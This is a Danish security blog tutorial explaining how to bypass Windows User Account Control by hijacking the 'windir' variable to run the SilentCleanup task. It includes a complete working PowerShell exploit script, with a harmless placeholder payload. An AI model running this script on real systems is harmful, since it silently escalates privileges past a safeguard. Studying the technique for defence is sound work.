Artikler / Security & identity

Bypass UAC med PowerShell

Denne exploit udnytter en sårbarhed i Windows vha. jobbet "SilentCleanup" i planlagte opgaver (scheduled tasks). Teknikken bruges på eget ansvar, og Zwable opfordre på ingen måde at bruge denne teknik i produktion.

Hvad er User Account Control (UAC)?​

User Account Control (UAC) er en teknologi som blev introduceret med Microsofts Windows Vista og Windows Server 2008. UAC er en sikkerhedsfunktion i Windows, som hjælper med at forhindre uautoriserede ændringer af operativsystemet. Disse ændringer kan initieres af applikationer, brugere, virus eller andre former for malware. UAC sikrer, at visse ændringer kun foretages med godkendelse fra administratoren. Hvis ændringerne ikke godkendes af administratoren, udføres de ikke, og Windows forbliver uændret.

SilentClenaup

Sårbarheden findes igennem et job ved navn “SilentCleanup” i planlagte opgaver (scheduled tasks). Jobbet eksekverer værktøjet “Disk Cleanup” (cleanmgr.exe). Dette job startes med administrator rettigheder.

Disk Cleanup” er et vedligeholdelseværktøj som er inkluderet i alle Windows versioner. Værktøjet søger og analysere harddisken for filer som ikke længere er i brug, og fjerner dem herefter.

Hver gang “Disk Cleanup” eksekveres opretter den en midlertidig mappe (“C:\Users\[user]\AppData\Local\Temp\[guid]“) fyldt med forskellige DLL-filer (dynamic link library). DLL-filer er kode biblioteker som ikke kan blive kørt selvstændigt, men importeres i et hovedprogram. Læs mere om DLL-filer her.

Windows giver brugere skriveadgang til denne midlertidige mappe, hvilket gør det muligt at tilføje ondsindet kode til programmet “Disk Cleanup“.

Efter at jobbet er færdigt med at kopiere DLL-filerne ind i den midlertidige mappe, starter jobbet “SilentCleanup” programmet “dismhost.exe” med administrator rettigheder, for derefter at indlæse alle DLL-filerne i samme mappe.

Udnyt med PowerShell

Vi kan udnytte denne sårbarhed vha. et PowerShell script, som kan køres uden eleveret rettigheder (UAC). Lad os se nærmere på PowerShell scriptet.

Scriptet består af to dele. Den første del tjekker om vi allerede er administrator i PowerShell runspacet. Dette gør den ved at tjekke om den kørende bruger er medlem i administrator-gruppen (S-1-5-32-544). Hvis brugeren allerede er medlem, køres payloaden. I dette tilfælde vil den oprette en mappe ved navn “Zwable” i Windows systemmappen (“C:\Windows“). Hvilket ikke vil være muligt uden eleveret rettigheder.

#Check if we are already administrators.
If((([System.Security.Principal.WindowsIdentity]::GetCurrent()).Groups -match "S-1-5-32-544"))
{
    #Payload goes here.
    #It'll run as Administrator.

    #Let's create a folder in the Windows system directory.
    mkdir "C:\windows\Zwable";
}

Lad os se nærmere på sidste og måske vigtigste del i PowerShell scriptet.

#We are not administrators.
Else
{
    #Set registry path.
    $RegistryPath = "HKCU:\Environment";

    #Set registry name.
    $RegistryName = "windir";

    #Set registry value.
    $RegistryValue = "powershell -ep bypass -w h $PSCommandPath;#";

    #Set the registry.
    Set-ItemProperty -Path $RegistryPath -Name $RegistryName -Value $RegistryValue;

    #Runs the silent cleanup job.
    schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null;
    
    #Remove the registry.
    Remove-ItemProperty -Path $RegistryPath -Name $RegistryName;
}

I Windows findes der en miljø variable ved navn “windir“. Denne variable er som standard sat til at pege på “C:\Windows“.

Ved at ændre denne variable til en PowerShell kommando kan vi snyde Windows til at køre PowerShell. Vi kan ændre variablen ved at oprette en nøgle i Windows Registry i “HKCU:\Environment” ved navn “windir“. Nøglens data, ser således ud:

$RegistryValue = "powershell -ep bypass -w h $PSCommandPath;#";

Overstående kode gør følgende:

  1. Åben en PowerShell session (powershell)
  2. Sæt Execution Policy til “Bypass” (-ep bypass).
  3. Sæt terminalen til at være skjult (-w h).
  4. Kør payload i PowerShell sessionen ($PSCommandPath).
  5. Udkommentere resten af proceduren, så vi ikke starter en oprydning vha. “cleanmgr.exe” (#).

Lad os sætte nøglen i Windows Registry:

Set-ItemProperty -Path $RegistryPath -Name $RegistryName -Value $RegistryValue;

Scriptet vil herefter aktivere jobbet “SilentCleanup“, dette gøres vha. følgende linje:

schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null;

Jobbet “SilentCleanup” læser variablen “%windir%“, hvilket nu er sat til at køre et PowerShell script og vil i stedet stoppe aktiveringen af oprydnings programmet “cleanmgr.exe“.

Til sidst vil scriptet fjerne variablen “windir” fra Windows Registry. Dette gøres med følgende kode:

Remove-ItemProperty -Path $RegistryPath -Name $RegistryName;

Scriptet (“Bypass-UAC.ps1“) bliver nu kørt en sidste gang, denne gang med administrator rettigheder.

Bypass-UAC.ps1

#Check if we are already administrators.
If((([System.Security.Principal.WindowsIdentity]::GetCurrent()).Groups -match "S-1-5-32-544"))
{
    #Payload goes here.
    #It'll run as Administrator.

    #Let's create a folder in the Windows system directory.
    mkdir "C:\windows\Zwable";
}
#We are not administrators.
Else
{
    #Set registry path.
    $RegistryPath = "HKCU:\Environment";

    #Set registry name.
    $RegistryName = "windir";

    #Set registry value.
    $RegistryValue = "powershell -ep bypass -w h $PSCommandPath;#";

    #Set the registry.
    Set-ItemProperty -Path $RegistryPath -Name $RegistryName -Value $RegistryValue;

    #Runs the silent cleanup job.
    schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null;
    
    #Remove the registry.
    Remove-ItemProperty -Path $RegistryPath -Name $RegistryName;
}

Konklusion

Man bør så vidt muligt følge best practice, og ikke tildele administrative rettigheder til slutbrugere. Man bør ligeledes altid opdatere sine systemer til nyeste version vha. en klar strategi. Hos Zwable står vi klar til en uforpligtende samtale om hvordan vi kan hjælpe jeres virksomhed videre mod en mere sikker dagligdag.